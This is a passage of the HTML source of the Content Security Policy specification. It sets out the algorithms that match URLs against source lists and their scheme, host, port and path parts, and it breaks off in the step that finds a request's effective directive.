This is generally used in <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives③③\">directives</a>' <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①⑧\">post-request check</a> algorithms to verify that a given <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③⑥\">response</a> is reasonable.</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does url match source list in origin with redirect count?\" data-level=\"6.6.1.5\" id=\"match-url-to-source-list\"><span class=\"secno\">6.6.1.5. </span><span class=\"content\"> Does <var>url</var> match <var>source list</var> in <var>origin</var> with <var>redirect count</var>? </span><a class=\"self-link\" href=\"#match-url-to-source-list\"></a></h5>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url⑨\">URL</a></code> (<var>url</var>), a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①④\">source list</a> (<var>source list</var>), an <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin\" id=\"ref-for-concept-origin\">origin</a> (<var>origin</var>), and a number (<var>redirect count</var>), this\n  algorithm returns \"<code>Matches</code>\" if the URL matches one or more source\n  expressions in <var>source list</var>, or \"<code>Does Not Match</code>\" otherwise:</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>source list</var> is not <code>null</code>.</p>\n     <li data-md=\"\">\n      <p>If <var>source list</var> is an empty list, return \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>source list</var> contains a single item which is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive⑤\">ASCII\n  case-insensitive</a> match for the string \"<code>'none'</code>\", return \"<code>Does Not Match</code>\".</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> An empty source list (that is, a directive without a value: <code>script-src</code>,\n  as opposed to <code>script-src host1</code>) is equivalent to a source list containing <code>'none'</code>,\n  and will not match any URL.</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>source list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <a href=\"#match-url-to-source-expression\">§6.6.1.6 Does url match expression in origin with redirect count?</a> returns \"<code>Matches</code>\" when\n  executed upon <var>url</var>, <var>expression</var>, <var>origin</var>, and <var>redirect count</var>, return\n  \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does url match expression in origin with redirect count?\" data-level=\"6.6.1.6\" id=\"match-url-to-source-expression\"><span class=\"secno\">6.6.1.6. </span><span class=\"content\"> Does <var>url</var> match <var>expression</var> in <var>origin</var> with <var>redirect count</var>? </span><a class=\"self-link\" href=\"#match-url-to-source-expression\"></a></h5>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url①⓪\">URL</a></code> (<var>url</var>), a <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression⑦\">source expression</a> (<var>expression</var>), an <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin\" id=\"ref-for-concept-origin①\">origin</a> (<var>origin</var>), and a number (<var>redirect count</var>), this algorithm\n  returns \"<code>Matches</code>\" if <var>url</var> matches <var>expression</var>, and \"<code>Does Not Match</code>\"\n  otherwise.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> <var>origin</var> is the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin\" id=\"ref-for-concept-origin②\">origin</a> of the resource relative to which the <var>expression</var> should be resolved. \"<code>'self'</code>\", for instance, will have distinct\n  meaning depending on that bit of context.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>expression</var> is the string \"*\", return \"<code>Matches</code>\" if one or more of\n  the following conditions is met:</p>\n      <ol>\n       <li data-md=\"\">\n        <p><var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme③\">scheme</a> is a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#network-scheme\" id=\"ref-for-network-scheme②\">network scheme</a>.</p>\n       <li data-md=\"\">\n        <p><var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme④\">scheme</a> is the same as <var>origin</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin-scheme\" id=\"ref-for-concept-origin-scheme\">scheme</a>.</p>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> This logic means that in order to allow a resource from a non-<a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#network-scheme\" id=\"ref-for-network-scheme③\">network scheme</a>,\n  it has to be either explicitly specified (e.g. <code>default-src * data: custom-scheme-1: custom-scheme-2:</code>),\n  or the protected resource must be loaded from the same scheme.</p>\n     <li data-md=\"\">\n      <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\" id=\"ref-for-grammardef-scheme-source②\"><code>scheme-source</code></a> or <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source②\"><code>host-source</code></a> grammar:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> has a <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part②\"><code>scheme-part</code></a>, and it does not <a data-link-type=\"dfn\" href=\"#scheme-part-match\" id=\"ref-for-scheme-part-match\"><code>scheme-part</code> match</a> <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme⑤\">scheme</a>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\" id=\"ref-for-grammardef-scheme-source③\"><code>scheme-source</code></a> grammar,\n  return \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source③\"><code>host-source</code></a> grammar:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-host\" id=\"ref-for-dom-url-host\">host</a></code> is <code>null</code>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> does not have a <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part③\"><code>scheme-part</code></a>, and <var>origin</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin-scheme\" id=\"ref-for-concept-origin-scheme①\">scheme</a> does not <a data-link-type=\"dfn\" href=\"#scheme-part-match\" id=\"ref-for-scheme-part-match①\"><code>scheme-part</code> match</a> <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme⑥\">scheme</a>,\n  return \"<code>Does Not Match</code>\".</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> As with <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part④\"><code>scheme-part</code></a> above, we allow schemeless <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source④\"><code>host-source</code></a> expressions to be upgraded from insecure\n  schemes to secure schemes.</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\" id=\"ref-for-grammardef-host-part①\"><code>host-part</code></a> does not <a data-link-type=\"dfn\" href=\"#host-part-match\" id=\"ref-for-host-part-match\"><code>host-part</code> match</a> <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-host\" id=\"ref-for-dom-url-host①\">host</a></code>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>Let <var>port-part</var> be <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-port-part\" id=\"ref-for-grammardef-port-part①\"><code>port-part</code></a> if present, and <code>null</code> otherwise.</p>\n       <li data-md=\"\">\n        <p>If <var>port-part</var> does not <a data-link-type=\"dfn\" href=\"#port-part-matches\" id=\"ref-for-port-part-matches\"><code>port-part</code> match</a> <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-port\" id=\"ref-for-concept-url-port\">port</a> and <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme⑦\">scheme</a>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> contains a non-empty <a data-link-type=\"grammar\" href=\"#grammardef-path-part\" id=\"ref-for-grammardef-path-part①\"><code>path-part</code></a>, and <var>redirect count</var> is 0, then:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>path</var> be the resulting of joining <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-path\" id=\"ref-for-concept-url-path\">path</a> on the U+002F SOLIDUS character (<code>/</code>).</p>\n         <li data-md=\"\">\n          <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-path-part\" id=\"ref-for-grammardef-path-part②\"><code>path-part</code></a> does not <a data-link-type=\"dfn\" href=\"#path-part-match\" id=\"ref-for-path-part-match\"><code>path-part</code> match</a> <var>path</var>,\n  return \"<code>Does Not Match</code>\".</p>\n        </ol>\n       <li data-md=\"\">\n        <p>Return \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>expression</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive⑥\">ASCII case-insensitive</a> match for \"<code>'self'</code>\",\n  return \"<code>Matches</code>\" if one or more of the following conditions is met:</p>\n      <ol>\n       <li data-md=\"\">\n        <p><var>origin</var> is the same as <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\" id=\"ref-for-concept-url-origin②\">origin</a></p>\n       <li data-md=\"\">\n        <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-host\" id=\"ref-for-dom-url-host②\">host</a></code> is the same as <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-host\" id=\"ref-for-dom-url-host③\">host</a></code>, <var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-port\" id=\"ref-for-dom-url-port\">port</a></code> and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#dom-url-port\" id=\"ref-for-dom-url-port①\">port</a></code> are either the same\n  or the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#default-port\" id=\"ref-for-default-port\">default ports</a> for their respective <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme⑧\">scheme</a>s, and\n  one or more of the following conditions is met:</p>\n        <ol>\n         <li data-md=\"\">\n          <p><var>url</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme⑨\">scheme</a> is \"<code>https</code>\" or \"<code>wss</code>\"</p>\n         <li data-md=\"\">\n          <p><var>origin</var>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme①⓪\">scheme</a> is \"<code>http</code>\"</p>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> Like the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part⑤\"><code>scheme-part</code></a> logic above, the \"<code>'self'</code>\"\n  matching algorithm allows upgrades to secure schemes when it is safe to do\n  so. We limit these upgrades to endpoints running on the default port for a\n  particular scheme or a port that matches the origin of the protected\n  resource, as this seems sufficient to deal with upgrades that can be\n  reasonably expected to succeed.</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"scheme-part matching\" data-level=\"6.6.1.7\" id=\"match-schemes\"><span class=\"secno\">6.6.1.7. </span><span class=\"content\"> <code>scheme-part</code> matching </span><a class=\"self-link\" href=\"#match-schemes\"></a></h5>\n    <p>An <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string④\">ASCII string</a> <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-lt=\"scheme-part match\" id=\"scheme-part-match\"><code>scheme-part</code> matches</dfn> another <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string⑤\">ASCII string</a> if a CSP source expression that contained the first as a <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part⑥\"><code>scheme-part</code></a> could potentially match a URL containing the latter as a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme①①\">scheme</a>. For example, we say that \"http\" <a data-link-type=\"dfn\" href=\"#scheme-part-match\" id=\"ref-for-scheme-part-match②\"><code>scheme-part</code> matches</a> \"https\".</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The matching relation is asymmetric. For example, the source expressions <code>https:</code> and <code>https://example.com/</code> do not match the URL <code>http://example.com/</code>. We always allow a\n  secure upgrade from an explicitly insecure expression. <code>script-src http:</code> is treated as equivalent\n  to <code>script-src http: https:</code>, <code>script-src http://example.com</code> to <code>script-src http://example.com https://example.com</code>, and <code>connect-src ws:</code> to <code>connect-src ws: wss:</code>.</p>\n    <p>More formally, two <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string⑥\">ASCII strings</a> (<var>A</var> and <var>B</var>) are said to <a data-link-type=\"dfn\" href=\"#scheme-part-match\" id=\"ref-for-scheme-part-match③\"><code>scheme-part</code> match</a> if the\n  following algorithm returns \"<code>Matches</code>\":</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>If one of the following is true, return \"<code>Matches</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p><var>A</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive⑦\">ASCII case-insensitive</a> match for <var>B</var>.</p>\n       <li data-md=\"\">\n        <p><var>A</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive⑧\">ASCII case-insensitive</a> match for \"<code>http</code>\", and <var>B</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive⑨\">ASCII case-insensitive</a> match for \"<code>https</code>\".</p>\n       <li data-md=\"\">\n        <p><var>A</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⓪\">ASCII case-insensitive</a> match for \"<code>ws</code>\", and <var>B</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①①\">ASCII case-insensitive</a> match for \"<code>wss</code>\", \"<code>http</code>\", or\n  \"<code>https</code>\".</p>\n       <li data-md=\"\">\n        <p><var>A</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①②\">ASCII case-insensitive</a> match for \"<code>wss</code>\", and <var>B</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①③\">ASCII case-insensitive</a> match for \"<code>https</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"host-part matching\" data-level=\"6.6.1.8\" id=\"match-hosts\"><span class=\"secno\">6.6.1.8. </span><span class=\"content\"> <code>host-part</code> matching </span><a class=\"self-link\" href=\"#match-hosts\"></a></h5>\n    <p>An <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string⑦\">ASCII string</a> <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-lt=\"host-part match\" id=\"host-part-match\"><code>host-part</code> matches</dfn> another <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string⑧\">ASCII\n  string</a> if a CSP source expression that contained the first as a <a data-link-type=\"grammar\" href=\"#grammardef-host-part\" id=\"ref-for-grammardef-host-part②\"><code>host-part</code></a> could\n  potentially match a URL containing the latter as a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-host\" id=\"ref-for-concept-url-host\">host</a>. For example, we say that\n  \"www.example.com\" <a data-link-type=\"dfn\" href=\"#host-part-match\" id=\"ref-for-host-part-match①\">host-part matches</a> \"www.example.com\".</p>\n    <p>More formally, two <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string⑨\">ASCII strings</a> (<var>A</var> and <var>B</var>) are said to <a data-link-type=\"dfn\" href=\"#host-part-match\" id=\"ref-for-host-part-match②\"><code>host-part</code> match</a> if the\n  following algorithm returns \"<code>Matches</code>\":</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The matching relation is asymmetric. That is, <var>A</var> matching <var>B</var> does not\n  mean that <var>B</var> will match <var>A</var>. For example, <code>*.example.com</code> <a data-link-type=\"dfn\" href=\"#host-part-match\" id=\"ref-for-host-part-match③\"><code>host-part</code> matches</a> <code>www.example.com</code>, but <code>www.example.com</code> does not <a data-link-type=\"dfn\" href=\"#host-part-match\" id=\"ref-for-host-part-match④\"><code>host-part</code> match</a> <code>*.example.com</code>.</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>If the first character of <var>A</var> is an U+002A ASTERISK character (<code>*</code>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>remaining</var> be the result of removing the leading (\"*\") from <var>A</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>remaining</var> (including the leading U+002E FULL STOP character\n  (<code>.</code>)) is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①④\">ASCII case-insensitive</a> match for the rightmost\n  characters of <var>B</var>, then return \"<code>Matches</code>\". Otherwise, return\n  \"<code>Does Not Match</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>A</var> is not an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⑤\">ASCII case-insensitive</a> match for <var>B</var>, return\n  \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>A</var> matches the <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\" id=\"ref-for-section-3.2.2\">IPv4address</a> rule from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>, and\n  is not \"<code>127.0.0.1</code>\"; or if <var>A</var> is an <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-ipv6\" id=\"ref-for-concept-ipv6\">IPv6 address</a>, return\n  \"<code>Does Not Match</code>\".</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> A future version of this specification may allow literal IPv6\n  and IPv4 addresses, depending on usage and demand. Given the weak\n  security properties of IP addresses in relation to named hosts,\n  however, authors are encouraged to prefer the latter whenever\n  possible.</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Matches</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"port-part matching\" data-level=\"6.6.1.9\" id=\"match-ports\"><span class=\"secno\">6.6.1.9. </span><span class=\"content\"> <code>port-part</code> matching </span><a class=\"self-link\" href=\"#match-ports\"></a></h5>\n    <p>An <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string①⓪\">ASCII string</a> (<var>port A</var>) <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"port-part-matches\"><code>port-part</code> matches</dfn> two other <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string①①\">ASCII\n  strings</a> (<var>port B</var> and <var>scheme B</var>) if a CSP source expression that contained the first as a <a data-link-type=\"grammar\" href=\"#grammardef-port-part\" id=\"ref-for-grammardef-port-part②\"><code>port-part</code></a> could potentially match a URL containing the latter as <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-port\" id=\"ref-for-concept-url-port①\">port</a> and <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme①②\">scheme</a>. For example, \"80\" <a data-link-type=\"dfn\" href=\"#port-part-matches\" id=\"ref-for-port-part-matches①\"><code>port-part</code> matches</a> matches \"80\"/\"http\".</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>If <var>port A</var> is empty:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>port B</var> is the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#default-port\" id=\"ref-for-default-port①\">default port</a> for <var>scheme B</var>, return \"<code>Matches</code>\". Otherwise,\n  return \"<code>Does Not Match</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>port A</var> is equal to \"*\", return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>port A</var> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive③\">case-sensitive</a> match for <var>port B</var>, return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>port B</var> is empty:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>port A</var> is the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#default-port\" id=\"ref-for-default-port②\">default port</a> for <var>scheme B</var>, return \"<code>Matches</code>\". Otherwise,\n  return \"<code>Does not Match</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"path-part matching\" data-level=\"6.6.1.10\" id=\"match-paths\"><span class=\"secno\">6.6.1.10. </span><span class=\"content\"> <code>path-part</code> matching </span><a class=\"self-link\" href=\"#match-paths\"></a></h5>\n    <p>An <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string①②\">ASCII string</a> (<var>path A</var>) <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-lt=\"path-part match\" id=\"path-part-match\"><code>path-part</code> matches</dfn> another <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string①③\">ASCII string</a> (<var>path B</var>) if a CSP source expression that contained the first as a <a data-link-type=\"grammar\" href=\"#grammardef-path-part\" id=\"ref-for-grammardef-path-part③\"><code>path-part</code></a> could potentially match a URL containing the latter as a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-path\" id=\"ref-for-concept-url-path①\">path</a>.\n  For example, we say that \"/subdirectory/\" <a data-link-type=\"dfn\" href=\"#path-part-match\" id=\"ref-for-path-part-match①\"><code>path-part</code> matches</a> \"/subdirectory/file\".</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The matching relation is asymmetric. That is, <var>path A</var> matching <var>path B</var> does not mean that <var>path B</var> will match <var>path A</var>.</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>If <var>path A</var> is empty, return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>path A</var> consists of one character that is equal to the U+002F SOLIDUS\n  character (<code>/</code>) and <var>path B</var> is empty, return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>Let <var>exact match</var> be <code>false</code> if the final character of <var>path A</var> is the U+002F\n  SOLIDUS character (<code>/</code>), and <code>true</code> otherwise.</p>\n     <li data-md=\"\">\n      <p>Let <var>path list A</var> and <var>path list B</var> be the result of <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#strictly-split\" id=\"ref-for-strictly-split①\">strictly splitting</a> <var>path A</var> and <var>path B</var> respestively on the U+002F SOLIDUS character (<code>/</code>).</p>\n     <li data-md=\"\">\n      <p>If <var>path list A</var> has more items than <var>path list B</var>, return\n  \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>exact match</var> is <code>true</code>, and <var>path list A</var> does not have the same\n  number of items as <var>path list B</var>, return \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>exact match</var> is <code>false</code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p class=\"assertion\">Assert: the final item in <var>path list A</var> is the empty string.</p>\n       <li data-md=\"\">\n        <p>Remove the final item from <var>path list A</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>For each <var>piece A</var> in <var>path list A</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>piece B</var> be the next item in <var>path list B</var>.</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#percent-decode\" id=\"ref-for-percent-decode\">Percent decode</a> <var>piece A</var>.</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#percent-decode\" id=\"ref-for-percent-decode①\">Percent decode</a> <var>piece B</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>piece A</var> is not a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive④\">case-sensitive</a> match\n  for <var>piece B</var>, return \"<code>Does Not Match</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Matches</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Get the effective directive for request\" data-level=\"6.6.1.11\" id=\"effective-directive-for-a-request\"><span class=\"secno\">6.6.1.11. </span><span class=\"content\"> Get the effective directive for <var>request</var> </span><a class=\"self-link\" href=\"#effective-directive-for-a-request\"></a></h5>\n    <p>Each <a data-link-type=\"dfn\" href=\"#fetch-directives\" id=\"ref-for-fetch-directives②\">fetch directive</a> controls a specific destination of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤⑦\">request</a>. Given\n  a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤⑧\">request</a> (<var>request</var>), the following algorithm returns either <code>null</code> or the <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name②③\">name</a> of the request’s <dfn data-dfn-for=\"request\" data-dfn-type=\"dfn\" data-export=\"\" id=\"request-effective-directive\">effective directive<a class=\"self-link\" href=\"#request-effective-directive\"></a></dfn>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Switch on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②⑥\">destination</a>, and execute\n  the associated steps:</p>\n      <dl>\n       <dt data-md=\"\">\"\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\" id=\"ref-for-concept-request-initiator③\">initiator</a> is\n  the empty string, return <code>connect-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>manifest</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>manifest-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>object</code>\"\n       <dt data-md=\"\">\"<code>embed</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>object-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>document</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\" id=\"ref-for-concept-request-target-browsing-context③\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" 